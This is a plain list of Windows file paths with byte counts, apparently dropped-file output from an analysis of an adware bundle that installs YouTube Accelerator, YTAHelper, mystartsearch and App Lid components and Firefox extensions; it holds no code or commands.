C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\422.db (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)
C:\Windows\Temp\SBCB6C7.tmp (486 bytes)
C:\Windows\Temp\SBCB437.tmp (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_820_YouTubeAcceleratorService.log (217203 bytes)
C:\Windows\Temp\SBC8F38.tmp (51193 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC8A08.tmp (98 bytes)
C:\Windows\Temp\SBCA2D8.tmp (547 bytes)
C:\Windows\Temp\SBC8B12.tmp (44 bytes)
C:\Windows\Temp\SBC8130.tmp (98 bytes)
C:\Windows\Temp\SBC609E.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_820.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC87E5.tmp (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13626\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_19212\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_14837\ins_shopperpro.exe (21943 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.dll (47570 bytes)
%Program Files% (x86)\App Lid\utils.exe (77250 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\221550 (94391 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\ExecDos.dll (13 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe (9147 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\System.dll (23 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce.xpi (2321 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\239809 (4595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszABA.tmp (662199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\InstallerUtils.dll (30484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\md5dll.dll (14 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\InstallerUtils2.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst38BC.tmp (6478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (101 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1B6.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A0.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3364_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA267.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA141.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3364_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA110.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA28F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3364.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_820.log_tmp (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA27B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1532.log_tmp (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA256.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (221069 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1B8.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3364_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA27D.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA279.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A4.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1028_firefox.log_tmp (24 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA291.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_820_YouTubeAcceleratorService.log_tmp (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\modern-wizard.bmp (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\webplayer-flv.rtf (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\nsDialogs.dll (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\webplayer_installer.exe (7069 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\modern-header.bmp (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu31F9.tmp\System.dll (23 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF564F.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG564E.tmp (90922 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ4E3F.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM5247.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC4E2F.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK5043.tmp (1604 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp (39034 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\49e8b48101569a41ad990f2a534d0e40[1].htm (28097 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69303 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ajax-bidl[1].htm (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\3EB4.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f5daecd74e316e46a59f4bd1d5099978[1].htm (27589 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2IL7GUZ1.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ga[1].js (22248 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5PODH1RU.txt (549 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\796c1daebeb52f4eabf469c6ed8ad1c0[1].htm (36057 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SGKSZ49I.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LI9180E8.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\FLVPlayerSetup.exe (18768 bytes)
